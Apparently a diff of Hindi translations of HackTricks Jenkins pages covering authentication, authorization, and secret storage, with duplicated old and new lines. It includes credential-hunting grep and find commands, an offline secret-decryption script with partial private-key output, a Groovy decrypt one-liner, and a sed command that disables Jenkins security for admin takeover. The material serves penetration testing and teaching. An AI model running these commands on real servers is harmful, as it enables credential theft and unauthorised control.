यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (रहस्यों)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं।
|
||||
यदि आपके पास पर्याप्त अनुमति है, तो आप `/credentials/` को एक्सेस करके secrets सूचीबद्ध कर सकते हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के secrets को सूचीबद्ध करेगा, लेकिन **build configuration files** में भी **अधिक credentials** हो सकते हैं।
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Groovy से
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### डिस्क से
|
||||
|
||||
इन फ़ाइलों की आवश्यकता है **Jenkins रहस्यों को डिक्रिप्ट करने के लिए**:
|
||||
इन फ़ाइलों की आवश्यकता होती है Jenkins secrets को **decrypt** करने के लिए:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
ऐसे **रहस्य आमतौर पर** मिल सकते हैं:
|
||||
ऐसी **secrets आमतौर पर निम्न फ़ाइलों में मिलती हैं**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
उन्हें खोजने के लिए यहाँ एक regex है:
|
||||
इन्हें ढूँढने के लिए यहाँ एक regex है:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +363,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें
|
||||
#### Jenkins secrets को offline में Decrypt करें
|
||||
|
||||
यदि आपने **रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है**, तो **उन रहस्यों को डिक्रिप्ट करने के लिए [**यह स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करें**।
|
||||
यदि आपने उन **जरूरी पासवर्ड जो secrets को decrypt करने के लिए** dump कर लिए हैं, तो [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करके **उन secrets को decrypt करें**।
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,18 +373,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Groovy से Jenkins रहस्यों को डिक्रिप्ट करें
|
||||
#### Groovy से Jenkins secrets को Decrypt करें
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### नया प्रशासनिक उपयोगकर्ता बनाएं
|
||||
### नया एडमिन उपयोगकर्ता बनाएं
|
||||
|
||||
1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें।
|
||||
2. `<useSecurity>true</useSecurity>` शब्द के लिए खोजें और शब्द **`true`** को **`false`** में बदलें।
|
||||
1. Jenkins config.xml फ़ाइल में पहुँचें: `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\`
|
||||
2. `<useSecurity>true</useSecurity>` शब्द खोजें और शब्द **`true`** को **`false`** में बदलें।
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Jenkins** सर्वर को **पुनः प्रारंभ** करें: `service jenkins restart`
|
||||
4. अब फिर से Jenkins पोर्टल पर जाएं और इस बार **Jenkins कोई प्रमाण पत्र नहीं मांगेगा**। आप **प्रशासक पासवर्ड फिर से सेट करने** के लिए "**Manage Jenkins**" पर नेविगेट करें।
|
||||
5. सेटिंग्स को `<useSecurity>true</useSecurity>` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें।
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. अब Jenkins पोर्टल पर फिर जाएँ और इस बार **Jenkins किसी भी credentials की मांग नहीं करेगा**। आप "**Manage Jenkins**" पर जाकर **प्रशासक पासवर्ड** फिर से सेट कर सकते हैं।
|
||||
5. `<useSecurity>true</useSecurity>` में बदलकर **security** को फिर से सक्रिय करें और **Jenkins** को फिर से restart करें।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@@ -1,53 +1,53 @@
|
||||
# Basic Jenkins Information
|
||||
# बुनियादी Jenkins जानकारी
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## पहुँच
|
||||
|
||||
### Username + Password
|
||||
### उपयोगकर्ता नाम + पासवर्ड
|
||||
|
||||
Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड के साथ है।
|
||||
Jenkins में लॉगिन करने का सबसे सामान्य तरीका उपयोगकर्ता नाम या पासवर्ड के साथ होता है।
|
||||
|
||||
### Cookie
|
||||
### कुकी
|
||||
|
||||
यदि एक **अधिकृत कुकी चुराई जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र तक पहुँचने के लिए किया जा सकता है। कुकी को आमतौर पर `JSESSIONID.*` कहा जाता है। (एक उपयोगकर्ता अपने सभी सत्रों को समाप्त कर सकता है, लेकिन उसे पहले यह पता लगाना होगा कि एक कुकी चुराई गई थी)।
|
||||
यदि कोई **authorized cookie चोरी हो जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र (session) तक पहुँचने के लिए किया जा सकता है। कुकी आमतौर पर `JSESSIONID.*` नाम की होती है। (एक उपयोगकर्ता अपने सभी सत्र समाप्त कर सकता है, लेकिन उसे पहले यह पता होना चाहिए कि कुकी चोरी हुई थी।)
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins को **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाने के लिए प्लगइन्स का उपयोग करके कॉन्फ़िगर किया जा सकता है।
|
||||
Jenkins को plugins के माध्यम से इस तरह कॉन्फ़िगर किया जा सकता है कि यह **थर्ड-पार्टी SSO** के माध्यम से पहुँच योग्य हो।
|
||||
|
||||
### Tokens
|
||||
|
||||
**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि CLI या REST API के माध्यम से उनके रूप में अनुप्रयोगों को पहुँच दी जा सके।
|
||||
**उपयोगकर्ता टोकन जेनरेट कर सकते हैं** ताकि एप्लिकेशन CLI या REST API के माध्यम से उनका प्रतिरूपण (impersonate) कर सकें।
|
||||
|
||||
### SSH Keys
|
||||
|
||||
यह घटक Jenkins के लिए एक अंतर्निहित SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH क्लाइंट का उपयोग करके इस तरह से कमांड को लागू किया जा सकता है। (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
यह घटक Jenkins के लिए एक built-in SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH client का उपयोग करके इस तरह कमांड्स को invoke किया जा सकता है। (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
## अधिकार
|
||||
|
||||
`/configureSecurity` में यह संभव है कि **Jenkins के प्राधिकरण विधि को कॉन्फ़िगर किया जाए**। कई विकल्प हैं:
|
||||
`/configureSecurity` पर Jenkins के **authorization method को कॉन्फ़िगर** करना संभव है। विकल्प कुछ इस प्रकार हैं:
|
||||
|
||||
- **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है।
|
||||
- **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी।
|
||||
- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किए गए उपयोगकर्ता को Jenkins का पूर्ण नियंत्रण मिलता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है।
|
||||
- **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
|
||||
- **कोई भी कुछ भी कर सकता है**: यहाँ तक कि अनाम उपयोगकर्ता भी सर्वर का प्रशासन कर सकते हैं।
|
||||
- **Legacy mode**: Jenkins <1.164 जैसा व्यवहार करता है। यदि आपके पास **"admin" role** है, तो आपको सिस्टम पर **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **अनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की अनुमति होगी।
|
||||
- **Logged-in users can do anything**: इस मोड में हर **लॉग-इन किया हुआ उपयोगकर्ता Jenkins पर पूरा नियंत्रण** प्राप्त करता है। एकमात्र उपयोगकर्ता जिसे पूरा नियंत्रण नहीं मिलता वह **अनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की अनुमति** मिलेगी।
|
||||
- **Matrix-based security**: आप एक तालिका में यह कॉन्फ़िगर कर सकते हैं कि **कौन क्या कर सकता है**। प्रत्येक **कॉलम** एक **अनुमति** (permission) का प्रतिनिधित्व करता है। प्रत्येक **रो** एक **उपयोगकर्ता या समूह/भूमिका** (user or group/role) का प्रतिनिधित्व करती है। इसमें एक विशेष उपयोगकर्ता '**anonymous**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** (unauthenticated users) का प्रतिनिधित्व करता है, साथ ही '**authenticated**' जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए अलग-अलग ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है।
|
||||
- **Role-Based Strategy:** एक **भूमिका-आधारित रणनीति** का उपयोग करके प्राधिकरण को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें।
|
||||
- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक विस्तार है जो प्रत्येक प्रोजेक्ट के लिए अलग से अतिरिक्त ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है।
|
||||
- **Role-Based Strategy:** भूमिकाओं-आधारित रणनीति का उपयोग करके अनुमतियों को परिभाषित करने में सक्षम बनाता है। भूमिकाओं को `/role-strategy` में प्रबंधित करें।
|
||||
|
||||
## **Security Realm**
|
||||
|
||||
`/configureSecurity` में यह संभव है कि **सुरक्षा क्षेत्र को कॉन्फ़िगर किया जाए।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है:
|
||||
`/configureSecurity` पर **security realm को कॉन्फ़िगर** करना संभव है। डिफ़ॉल्ट रूप से Jenkins कुछ अलग Security Realms के लिए समर्थन शामिल करता है:
|
||||
|
||||
- **Delegate to servlet container**: **Jenkins नियंत्रक** चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को **सौंपना**, जैसे [Jetty](https://www.eclipse.org/jetty/)।
|
||||
- **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
|
||||
- **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं।
|
||||
- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण सौंपता है। यह मोड प्राधिकरण के लिए Unix समूहों के पुन: उपयोग की अनुमति भी देगा।
|
||||
- **Delegate to servlet container**: Jenkins controller पर चलने वाले servlet container (जैसे [Jetty](https://www.eclipse.org/jetty/)) को authentication delegate करने के लिए।
|
||||
- **Jenkins’ own user database:** बाहरी सिस्टम को delegate करने के बजाय authentication के लिए **Jenkins के अपने built-in user data store** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
|
||||
- **LDAP**: सभी authentication को एक कॉन्फ़िगर किए हुए LDAP सर्वर को delegate करें, जिसमें users और groups दोनों शामिल हैं।
|
||||
- **Unix user/group database**: Jenkins controller पर निहित Unix OS-स्तरीय user database को authentication delegate करता है। यह मोड authorization के लिए Unix समूहों के पुन:उपयोग की भी अनुमति देता है।
|
||||
|
||||
प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
|
||||
Plugins अतिरिक्त security realms प्रदान कर सकते हैं जो मौजूदा identity systems में Jenkins को शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
@@ -55,33 +55,44 @@ Jenkins को **तीसरे पक्ष के SSO के माध्य
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
[docs](https://www.jenkins.io/doc/book/managing/nodes/) से परिभाषाएँ:
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है।
|
||||
**Nodes** वे **मशीनें** हैं जिन पर build **agents चलते हैं**। Jenkins प्रत्येक जुड़े हुए node की disk space, free temp space, free swap, clock time/sync और response time की निगरानी करता है। यदि इन मानों में से कोई भी configured threshold के बाहर चला जाता है तो node को offline कर दिया जाता है।
|
||||
|
||||
**Agents** **Jenkins नियंत्रक** की ओर से **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**।
|
||||
**Agents** Jenkins controller की ओर से **executors** का उपयोग करके **टास्क निष्पादन (task execution)** को प्रबंधित करते हैं। एक agent किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java को सपोर्ट करता हो। बिल्ड और टेस्ट के लिए आवश्यक टूल उस node पर इंस्टॉल होते हैं जहाँ agent चलता है; इन्हें **सीधे इंस्टॉल किया जा सकता है या एक container** (Docker या Kubernetes) में रखा जा सकता है। प्रत्येक **agent प्रभावी रूप से host मशीन पर अपने PID के साथ एक प्रोसेस** होता है।
|
||||
|
||||
एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है।
|
||||
एक **executor** टास्क निष्पादन के लिए एक **स्लॉट** है; प्रभावी रूप से यह agent में एक **थ्रेड** है। किसी node पर **executors की संख्या** यह परिभाषित करती है कि उस node पर एक समय में कितने **समानांतर टास्क (concurrent tasks)** निष्पादित किए जा सकते हैं। दूसरे शब्दों में, यह निर्धारित करता है कि उस node पर एक समय में कितने समानांतर Pipeline `stages` execute हो सकते हैं।
|
||||
|
||||
## Jenkins Secrets
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
### Secrets और Credentials का एनक्रिप्शन
|
||||
|
||||
[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** को एन्क्रिप्ट और सुरक्षित करने के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही उस मास्टर कुंजी के साथ जो उक्त कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम में \_unencrypted\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उन हमलावरों के खिलाफ सुरक्षा नहीं करती है जिनके पास उस फ़ाइल तक सीधी पहुँच है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` आईडी के अनुरूप होता है। सामान्य कुंजी आईडी में शामिल हैं:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins **AES का उपयोग** करके secrets, credentials, और उनके संबंधित encryption keys को encrypt और protect करता है। ये encryption keys `$JENKINS_HOME/secrets/` में master key के साथ संग्रहीत होती हैं जो इन keys की सुरक्षा के लिए प्रयोग की जाती है। इस डायरेक्टरी को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल वही operating system user जिसके रूप में Jenkins controller चल रहा है, इस डायरेक्टरी को read और write कर सके (जैसे `chmod` मान `0700` या उपयुक्त file attributes का उपयोग)। **master key** (cryptojargon में कभी-कभी "key encryption key" कहा जाता है) Jenkins controller filesystem पर **_unencrypted_** रूप में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होता है, जो उस फ़ाइल तक सीधे पहुंच रखने वाले attackers के खिलाफ सुरक्षा प्रदान नहीं करता। अधिकांश उपयोगकर्ता और डेवलपर्स इन encryption keys का अप्रत्यक्ष रूप से उपयोग करेंगे, या तो generic secret data को encrypt करने के लिए [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से या credentials API के माध्यम से। क्रिप्टोमें रुचि रखने वालों के लिए, Jenkins AES का उपयोग cipher block chaining (CBC) mode में PKCS#5 padding और random IVs के साथ करता है ताकि [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को encrypt किया जा सके, जो `$JENKINS_HOME/secrets/` में उनके `CryptoConfidentialKey` id के अनुरूप फ़ाइल नाम के साथ संग्रहीत होते हैं। सामान्य key ids में शामिल हैं:
|
||||
|
||||
- `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: [CSRF सुरक्षा तंत्र](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और
|
||||
- `hudson.util.Secret`: generic secrets के लिए उपयोग होता है;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ credentials प्रकारों के लिए उपयोग होता है;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और
|
||||
|
||||
### Credentials Access
|
||||
### Credentials पहुँच
|
||||
|
||||
क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job/<project-name>/configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है।
|
||||
Credentials को **global providers** (`/credentials/`) के लिए scoped किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर किए गए प्रोजेक्ट द्वारा एक्सेस किया जा सकता है, या इन्हें **specific projects** (`/job/<project-name>/configure`) के लिए scoped किया जा सकता है और इसलिए केवल उस विशिष्ट प्रोजेक्ट से ही पहुँचनीय होते हैं।
|
||||
|
||||
[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर को प्रिंट करने वाले कार्यक्रमों को **निर्माण लॉग में उन्हें प्रकट नहीं करेगा** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी।
|
||||
[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: जिन credentials का scope निर्धारित होता है उन्हें pipeline को बिना किसी प्रतिबंध के उपलब्ध कराया जाता है। निर्माण लॉग में आकस्मिक प्रकटीकरण (accidental exposure) को रोकने के लिए, credentials को नियमित आउटपुट से **masked** किया जाता है, इसलिए `env` (Linux) या `set` (Windows) का आह्वान, या अपने environment या parameters प्रिंट करने वाले प्रोग्राम बिल्ड लॉग में उन्हें उन उपयोगकर्ताओं के लिए प्रकट नहीं करेंगे जिन्हें अन्यथा credentials तक पहुँच नहीं है।
|
||||
|
||||
**इसलिए क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।**
|
||||
**इसीलिए क्रेडेंशियल्स को exfiltrate करने के लिए उदाहरण के तौर पर a attacker को उन्हें base64 करना होगा।**
|
||||
|
||||
## References
|
||||
### डिस्क पर plugin/job config में Secrets
|
||||
|
||||
यह मत मानिए कि secrets केवल `credentials.xml` में ही होते हैं। कई plugins अपने **अपने ग्लोबल XML** में `$JENKINS_HOME/*.xml` के अंतर्गत या प्रति-जॉब `$JENKINS_HOME/jobs/<JOB>/config.xml` में secrets स्थायी रूप से रखते हैं, कभी-कभी स्पष्ट पाठ (plaintext) में भी (UI masking इस बात की गारंटी नहीं देती कि स्टोरेज एन्क्रिप्टेड है)। यदि आपको filesystem read access मिल जाता है, तो उन XMLs की सूची बनाएं और स्पष्ट secret टैग्स के लिए खोजें।
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -90,5 +101,6 @@ Jenkins को **तीसरे पक्ष के SSO के माध्य
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user